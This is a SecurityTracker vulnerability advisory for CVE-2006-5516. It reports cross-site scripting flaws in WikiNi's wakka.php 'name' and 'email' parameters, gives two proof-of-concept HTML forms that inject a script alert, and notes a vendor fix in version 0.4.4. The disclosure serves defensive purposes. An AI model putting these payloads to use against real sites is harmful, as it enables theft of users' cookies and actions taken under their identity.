WikiNi Input Validation Holes in 'name' and 'email' Parameters Permit Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1017116
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SecurityTracker URL: http://securitytracker.com/id?1017116
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CVE Reference: CVE-2006-5516
(Links to External Site)
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Updated: Jun 2 2008
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Original Entry Date: Oct 25 2006
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): prior to 0.4.4
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Description: A vulnerability was reported in WikiNi. A remote user can conduct cross-site scripting attacks.
The 'wakka.php' script does not properly filter HTML code from user-supplied input in the 'name' and 'email' parameters before displaying
the input. A remote user can create a specially crafted POST request that, when loaded by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running the WikiNi software and will run
in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication
cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take
actions on the site acting as the target user.
The original advisory is available at:
http://zone14.free.fr/advisories/6/
Raphael
Huck discovered this vulnerability.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
WikiNi software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
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Solution: The vendor has issued a fixed version (0.4.4), available at:
http://www.wikini.net/wakka.php?wiki=DownloadWikiNi
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Vendor URL: wikini.net/wakka.php (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: raphael.huck@free.fr
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Message History:
None.
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Source Message Contents
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Date: Mon, 23 Oct 2006 19:26:54 +0000
From: raphael.huck@free.fr
Subject: WikiNi Multiple Cross Site Scripting Vulnerabilities
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Hi, I've found 2 XSS vulns in WikiNi. The programmers have been contacted and the vulns addressed in
version 0.4.4.
The name parameter of page wakka.php is not properly sanitized:
<html>
<body>
<form method="POST" enctype="application/x-www-form-urlencoded" action="h
ttp://www.example.com/wakka.php">
<input type="hidden" name="wiki" value="ParametresUtilisateur">
<input type="hidden" name="action" value="login">
<input type="hidden" name="name" value=">"><script>a
lert('XSS Vulnerable');</script>"
<input type="submit" value="Submit" name="submit">
</form>
</body>
</html>
The email parameter of page wakka.php is not properly sanitized:
<html>
<body>
<form method="POST" enctype="application/x-www-form-urlencoded" action="h
ttp://www.example.com/wakka.php">
<input type="hidden" name="wiki" value="ParametresUtilisateur">
<input type="hidden" name="action" value="login">
<input type="hidden" name="email" value=">"><script>
alert('XSS Vulnerable');</script>"
<input type="submit" value="Submit" name="submit">
</form>
</body>
</html>
Original advisory: http://zone14.free.fr/advisories/6/
--Raphael HUCK
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